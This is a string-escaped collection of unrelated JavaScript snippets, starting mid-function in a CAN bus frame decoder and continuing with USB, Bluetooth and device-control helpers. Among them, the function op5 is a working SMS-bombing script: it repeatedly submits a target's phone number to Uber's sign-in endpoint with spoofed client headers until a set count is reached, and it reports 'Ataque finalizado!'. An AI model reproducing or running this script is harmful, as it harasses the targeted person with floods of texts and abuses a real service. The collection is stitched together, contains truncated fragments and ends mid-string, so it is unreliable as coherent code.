now\n\t\t\t\t}\n\n\t\t\t\twhile (db < (data_size * 8)) \t// Read data bits\n\t\t\t\t{\n\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t{\n\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\n\t\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t\t// Regular bitif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\tb++;\n\t\t\t\t\t\tdb++;\n\t\t\t\t\t}\n\n\t\t\t\t\trb++;\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\t\telse\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\n\t\t\t\t}\n\n\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t{\n\t\t\t\t\tt = trs_go_after(ch,bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\tstate = GET_SOF;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tb -= (data_size * 8);\t// Now interpret those bits as bytes\n\t\t\t\tpkt_data = \"\";\n\n\t\t\t\tfor (i = 0; i < data_size; i++)\n\t\t\t\t{\n\t\t\t\t\tval = 0;\n\n\t\t\t\t\tfor (c = 0; c < 8; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + (i * 8) + c];\n\t\t\t\t\t}\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb) + m, bit_pos[b + (i * 8) + 7] + (0.5 * spb) - m); \t// Add the ID item\n\t\t\t\t\telse\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb_hs) + m_hs, bit_pos[b + (i * 8) + 7] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"DATA: \");\n\t\t\t\t\tdec_item_add_pre_text(\"D: \");\n\t\t\t\t\tdec_item_add_pre_text(\"D \");\n\t\t\t\t\tdec_item_add_data(val);\n\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\n\t\t\t\t\tpkt_data += int_to_str_hex(val) + \" \";\n\t\t\t\t}\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tpkt_add_item(bit_pos[b] - (0.5 * spb), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb), \"DATA\", pkt_data, dark_colors.gray, channel_color);\n\t\t\t\telse\n\t\t\t\t\tpkt_add_item(bit_pos[b] - (0.5 * spb_hs), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb_hs), \"DATA\", pkt_data, dark_colors.gray, channel_color);\n\n\t\t\t\tb += (data_size * 8);\n\t\t\t\tstate = GET_CRC;\n\n\t\t\t\t// TO DO:\n\t\t\t\t// correct all start and end samples\n\t\t\t\t// add packet for CRC, and error frames\n\t\t\t\t// add the packet stop\n\t\t\tbreak;\n\n\t\t\tcase GET_CRC:\n\t\t\t\tvar nbr_stf_b = 0;\n\t\t\t\tdb = 0;\n\t\t\t\tif(edl_mode)\n\t\t\t\t{\n\t\t\t\t\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \t// use High speed since now\n\n\t\t\t\t\twhile (db-nbr_stf_b < crc_len) //read crc bits\n\t\t\t\t\t{\n\t\t\t\t\t\tif (db % 5 ==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_CROSS);\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t\tnbr_stf_b++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t // Regular bit\n\t\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tlast_bit = bits[b];\n\n\t\t\t\t\t\t\tb++;\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\trb++;\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t{\n\t\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\t\tstate = GET_SOF;\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tval = 0;\n\t\t\t\t\tb -= crc_len;\n\n\t\t\t\t\tfor (c = 0; c < crc_len; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + c];\n\t\t\t\t\t}\n\n\t\t\t\t\tcrc_rg = 0;\t\t// Now calculate our own crc to compare\n\n\n\t\t\t\t\tfor (c = 1; c < b; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tcrc_nxt = bits[c] ^ ((crc_rg >> (crc_len)) & 0x1);\n\t\t\t\t\t\tcrc_rg = crc_rg << 1;\n\n\t\t\t\t\t\tif (crc_nxt == 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (crc_len==17)\n\t\t\t\t\t\t\t\tcrc_rg ^= 0x3685B;\n\t\t\t\t\t\t\telse if (crc_len==21)\n\t\t\t\t\t\t\t\tcrc_rg ^= 0x302898;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (crc_len==17)\n\t\t\t\t\t\t\tcrc_rg &= 0x1ffff;\n\t\t\t\t\t\telse if (crc_len==21)\n\t\t\t\t\t\t\tcrc_rg &= 0x1fffff\n\t\t\t\t\t}\n\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + crc_len-1] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"CRC : \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC\");\n\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (val == crc_rg)\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\"\");\n\t\t\t\t\t\tpkt_add_item(-1, -1 ,\"CRC\", int_to_str_hex(val) + \" OK\", dark_colors.yellow, channel_color);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG, Should be: \" + int_to_str_hex(crc_rg));\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG!\");\n\t\t\t\t\t\tdec_item_add_post_text(\"E!\");\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"CRC\", int_to_str_hex(val) + \"(WRONG)\", dark_colors.red, channel_color);\n\n\t\t\t\t\t\tpkt_start(\"CRC ERROR\");\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (captured)\",int_to_str_hex(val), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (calculated)\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_add_post_text(\"!\");\n\t\t\t\t\t}\n\n\t\t\t\t\tb += crc_len-1;\n\t\t\t\t\tbit_pos[b] += spb;\n\t\t\t\t\tstate = GET_ACK;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\twhile (db < 16) //read crc bits\n\t\t\t\t\t{\n\t\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\n\t\t\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t // Regular bit\n\t\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\t\tb++;\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\trb++;\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t{\n\t\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\t\tstate = GET_SOF;\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tval = 0;\n\t\t\t\t\tb -= 16;\n\n\t\t\t\t\tfor (c = 0; c < 15; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + c];\n\t\t\t\t\t}\n\n\t\t\t\t\tcrc_rg = 0;\t\t// Now calculate our own crc to compare\n\n\t\t\t\t\tfor (c = 0; c < b; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tcrc_nxt = bits[c] ^ ((crc_rg >> 14) & 0x1);\n\t\t\t\t\t\tcrc_rg = crc_rg << 1;\n\n\t\t\t\t\t\tif (crc_nxt == 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcrc_rg ^= 0x4599;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tcrc_rg &= 0x7fff;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb) + m, bit_pos[b + 14] + (0.5 * spb) - m); \t// Add the ID item\n\t\t\t\t\telse\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + 14] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"CRC : \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC\");\n\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (val == crc_rg)\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\"\");\n\t\t\t\t\t\tpkt_add_item(-1, -1 ,\"CRC\", int_to_str_hex(val) + \" OK\", dark_colors.yellow, channel_color);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG, Should be: \" + int_to_str_hex(crc_rg));\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG!\");\n\t\t\t\t\t\tdec_item_add_post_text(\"E!\");\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"CRC\", int_to_str_hex(val) + \"(WRONG)\", dark_colors.red, channel_color);\n\n\t\t\t\t\t\tpkt_start(\"CRC ERROR\");\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (captured)\",int_to_str_hex(val), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (calculated)\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_add_post_text(\"!\");\n\t\t\t\t\t}\n\n\t\t\t\t\tb += 15;\n\t\t\t\t\tstate = GET_ACK;\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase GET_ACK: \t// and the EOF too.\n\t\t\t\tbit_pos[b] -= spb;// CRC delimiter\n\t\t\t\tack_chk = bit_sampler_next(ch);\n\t\t\t\tbit_sampler_next(ch); \t// ACK delimiter\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tdec_item_new(ch,bit_pos[b] + (1.5 * spb) + m, bit_pos[b] + (3.5 * spb) - m); \t// Add the ACK item\n\t\t\t\telse\n\t\t\t\t\tdec_item_new(ch,bit_pos[b] + (2.5 * spb_hs) + m, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m); \t// Add the ACK item\n\n\t\t\t\tif(ack_chk == 1)\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"NO ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"NACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"!A\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"A\");\n\t\t\t\t}\n\t\t\t\tpkt_add_item(-1, -1, \"ACK\", ack_chk.toString(10), dark_colors.black, channel_color);\n\t\t\t\teof_chk = 0;\n\t\t\t\tfor (c = 0; c < 7; c++)\n\t\t\t\t{\n\t\t\t\t\teof_chk += bit_sampler_next(ch);\n\t\t\t\t}\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] + (3.5 * spb) + m, bit_pos[b] + (10.5 * spb) - m); \t// Add the EOF item\n\t\t\t\telse\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m, bit_pos[b] + (2.5 * spb_hs) + 9*spb - m); \t// Add the EOF item\n\n\t\t\t\tif (eof_chk == 7)\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"END OF FRAME OK\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF OK\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF\");\n\t\t\t\t\tdec_item_add_pre_text(\"E\");\n\t\t\t\t\tpkt_add_item(-1, -1, \"EOF\", \"\", dark_colors.blue, channel_color);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"END OF FRAME ERR\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF ERR!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!EOF!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!E!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!\");\n\t\t\t\t\tpkt_add_item(-1, -1, \"EOF\",\"MISSING!\", dark_colors.red, channel_color);\n\t\t\t\t}\n\n\t\t\t\tpkt_end();\n\n\t\t\t\tt = trs_go_after(ch, bit_pos[b] + (10.5 * spb));\n\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\tstate = GET_SOF;\n\t\t\t\t//dec_item_new(ch, bit_pos[0] - (0.5 * spb) + m, bit_pos[b] + (0.5 * spb) - m); \t//<=========================DEBUG ALL THE FRAME\n\t\t\tbreak;\n\t\t}\n\t}\n}","function sendCompleted(usbEvent) {\n\tif (chrome.runtime.lastError) {\n\t\tconsole.error(\"sendCompleted Error:\", chrome.runtime.lastError.message);\n\t}\n\n\tif (usbEvent) {\n\t\tif (usbEvent.data) {\n\t\t\tvar buf = new Uint8Array(usbEvent.data);\n\t\t\tconsole.log(\"sendCompleted Buffer:\", usbEvent.data.byteLength, buf);\n\t\t}\n\t\tif (usbEvent.resultCode !== 0) {\n\t\t\tchangeState(state.connected);\n\t\t\terrorln(\"Error writing to device: \" + chrome.runtime.lastError.message);\n\t\t}\n\t}\n}","getPower() {\n console.log('getPower called');\n\n return this.getLampResURI()\n .then(response => {\n return response.power.value;\n });\n }","function getvolume(dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-15';\n webphone_api.plhandler.GetVolume(dev, callback);\n }\n}","function getBzData(uri, method) {\n var dfd = $.Deferred();\n\n // defer get binary\n var request = new XMLHttpRequest();\n request.onload = function () {\n // Process the response\n if (request.status >= 200 && request.status < 300) {\n // If successful\n console.log('request-received');\n\n var bytes = bz2.decompress(new Uint8Array(request.response));\n var jsonObj = JSON.parse(utfDecoder.decode(bytes));\n dfd.resolve(jsonObj);\n } else {\n // If failed\n dfd.reject({\n status: request.status,\n statusText: request.statusText\n });\n }\n }\n request.open('GET', uri, true);\n request.responseType = \"arraybuffer\";\n request.send();\n\n return dfd.promise();\n }","function getHumidity(){\n execFile('./scripts/humidity', ['hum'], (error, stdout, stderr) => {\n if (error) {\n console.error('stderr', stderr);\n throw error;\n }\n console.log('hum: ' + stdout);\n readData.hum = stdout\n })\n}","function onEvent(usbEvent) {\n\tconsole.log(\"onEvent\");\n\tif (usbEvent.resultCode) {\n\t\tif (usbEvent.resultCode == USB_ERROR_TRANSFER_FAILED) {\n\t\t\t// Device is connected but we failed to send data.\n\t\t\tchangeState(state.connected);\n\t\t} else if (usbEvent.resultCode == USB_ERROR_DEVICE_DISCONNECTED) {\n\t\t\tchangeState(state.disconnected);\n\t\t}\n\t\tconsole.log(chrome.runtime.lastError.message + \"(code: \" + usbEvent.resultCode + \") [onEvent]\");\n\t\treturn;\n\t}\n\n\tvar dv = new DataView(usbEvent.data);\n\tvar len = dv.getUint8(0);\n\tvar cmd = dv.getUint8(1);\n\n\tswitch (cmd) {\n\t\tcase CMD_DEBUG:\n\t\t{\n\t\t\tvar msg = \"\";\n\t\t\tfor (var i = 0; i < len; i++) {\n\t\t\t\tmsg += String.fromCharCode(dv.getUint8(i+2));\n\t\t\t}\n\t\t\tmessageln(\"debug: '\" + msg + \"'\");\n\t\t\tbreak;\n\t\t}\n\t\tcase CMD_PING:\n\t\t\tmessageln(\"ping\");\n\t\t\tbreak;\n\t\tcase CMD_VERSION:\n\t\t{\n\t\t\tvar version = \"\" + dv.getUint8(2) + \".\" + dv.getUint8(3);\n\t\t\tmessageln(\"command: Version \" + version);\n\t\t\tbreak;\n\t\t}\n\t\tdefault:\n\t\t\terrorln(\"unknown command\");\n\t\t\tbreak;\n\t}\n\n\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n}","async function enableBloodPressure() {\n const command = hexToBase64(\"55 aa 04 02 01 f8\");\n // console.log(\"TCL: enableBloodPressure -> command\", command)\n const didWrite = await Bluetooth.writeToDevice(command);\n // console.log(\"TCL: enableBloodPressure -> didWrite\", didWrite)\n return didWrite;\n}","_pingDevice () {\n this._ble.read(\n BoostBLE.service,\n BoostBLE.characteristic,\n false\n );\n }","RetrieveBeaconBlock(blockHash = '', verbosity = '1') {}","async function requestBarcodePrinter() {\n console.log(navigator)\n navigator.usb &&\n navigator.usb\n .requestDevice({\n filters: [\n {\n vendorId: 5380,\n // classCode: 0xff, // vendor-specific\n // protocolCode: 0x01,\n },\n ],\n })\n .then(selectedDevice => {\n setBarcodePrinter(selectedDevice)\n })\n .catch(errorInfo => {\n console.log(errorInfo)\n // message.error(i18n.t`Cannot find label printer`)\n })\n }","async GetValueBytes(id, command) {\n var packet = new DpsPacket(id, DpsConstants.sender, command, [0,0,0,0,0,0,0,0]);\n var result = await this.PacketIO(packet);\n if ((result && (result.sender != id || result.command != command)) || result == null) return null;\n else return result.data;\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\n return new Promise((resolve, reject) => {\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\n console.log(\"Sending 'START DFU' command\");\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\n .then( () => this._send_packet_data(image_size_packet) )\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\n //TODO .then( () => this._clear_received_response() )\n });\n }","async function op5(numero, quantidade) {\n\t\n\tvar ubereats = await tools.curl('https://cn-phx2.cfe.uber.com/rt/silk-screen/submit-form', `{\"formContainerAnswer\":{\"formAnswer\":{\"flowType\":\"INITIAL\",\"screenAnswers\":[{\"screenType\":\"PHONE_NUMBER_INITIAL\",\"fieldAnswers\":[{\"fieldType\":\"PHONE_COUNTRY_CODE\",\"phoneCountryCode\":\"55\"},{\"fieldType\":\"PHONE_NUMBER\",\"phoneNumber\":\"${numero}\"},{\"fieldType\":\"THIRD_PARTY_CLIENT_ID\",\"thirdPartyClientID\":\"\"}]}],\"firstPartyClientID\":\"\"}}}`, {\n\t\t'Host': 'cn-phx2.cfe.uber.com',\n\t\t'x-uber-client-name': 'eats',\n\t\t'x-uber-device': 'android',\n\t\t'x-uber-device-language': 'pt_BR',\n\t\t'x-uber-client-version': '1.277.10005',\n\t\t'accept': 'application/json',\n\t\t'content-type': 'application/json; charset=UTF-8',\n\t\t'user-agent': 'okhttp/3.12.0-uber2'\n\t\t}, 'POST').then((res) => {\n\t\t\tif (res.body.match(/SIGN_IN/i)) {\n\t\t\t\t\n\t\t\t\tif (spam.enviados == 0) {\n\t\t\t\t\tb1.start(quantidade, 0, {\n\t\t\t\t\t\tenviados: spam.enviados\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tspam.enviados++\n\t\t\t\tspam.status = 1\n\t\t\t\tb1.update(spam.enviados, {\n\t\t\t\t\tenviados: spam.enviados\n\t\t\t\t});\n\t\t\t\t// console.log('Sucesso » [ Numero: %s, Enviados: %s, Retorno: SMS enviado com sucesso. ] #ServerMP'.success, numero, spam.enviados);\n\t\t\t} else if (res.body.match(/SMS_OTP_TOO_MANY_REQUESTS/i)) {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Excesso de tentativas, tente novamente em breve. ] #ServerMP'.error));\n\t\t\t} else if (res.body.match(/BANNED/)) {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Numero inserido está com conta desativada. ] #ServerMP'.error));\n\t\t\t} else {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Ocorreu um error desconhecido. ] #ServerMP'.error));\n\t\t\t}\n\t});\n\t\n\t// Verificar se o spam ja foi finalizado.\n\tif (quantidade == spam.enviados) {\n\t\tb1.start(quantidade, quantidade, {\n\t\t\tenviados: spam.enviados\n\t\t});\n\t\tprocess.exit(console.log('\\n\\nAtaque finalizado! #ServerMP'.help));\n\t} else {\n\t\top5(numero, quantidade);\n\t}\n\t\n}","async function writepumpdurationtoBLE(num){\n console.log('Attempting bluetooth write')\n var arrInt8 = toBytesInt16(num)\n ble.twrite_pumpduration=performance.now()\n try{\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\n console.log(textstr)\n ble.statustext = textstr\n // \n //wdm(textstr)\n }\n catch(error) {\n var textstr = 'Could not write pump duration to ble device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
